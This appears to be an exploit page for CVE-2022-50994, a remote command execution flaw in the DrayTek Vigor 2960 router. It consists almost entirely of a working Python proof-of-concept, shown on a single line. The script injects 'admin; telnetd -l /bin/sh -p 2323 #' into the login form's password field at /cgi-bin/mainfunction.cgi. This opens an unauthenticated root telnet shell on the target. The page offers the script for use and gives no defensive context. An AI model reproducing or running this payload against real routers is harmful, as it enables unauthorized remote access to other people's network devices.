CVE-2022-50994 DrayTek Vigor 2960 远程命令执行漏洞

#!/usr/bin/env python3 import requests def exploit(target_ip, valid_username): url = f"http://{target_ip}/cgi-bin/mainfunction.cgi" # The payload injects a shell command to create a reverse shell or execute a command # Example: injecting `;` to break the original command and execute `telnetd` malicious_payload = "admin; telnetd -l /bin/sh -p 2323 #" headers = { "User-Agent": "Mozilla/5.0 (Compatible; CVE-2022-50994-Scanner)", "Content-Type": "application/x-www-form-urlencoded" } data = { "action": "login", "username": valid_username, "formpassword": malicious_payload, "logintype": "otp" } try: print(f"[*] Sending payload to {target_ip}...") response = requests.post(url, data=data, headers=headers, timeout=5) if response.status_code == 200: print("[+] Payload sent successfully. Check if telnet started on port 2323.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": # Replace with target IP and a valid username found via recon target = "192.168.1.1" user = "admin" exploit(target, user)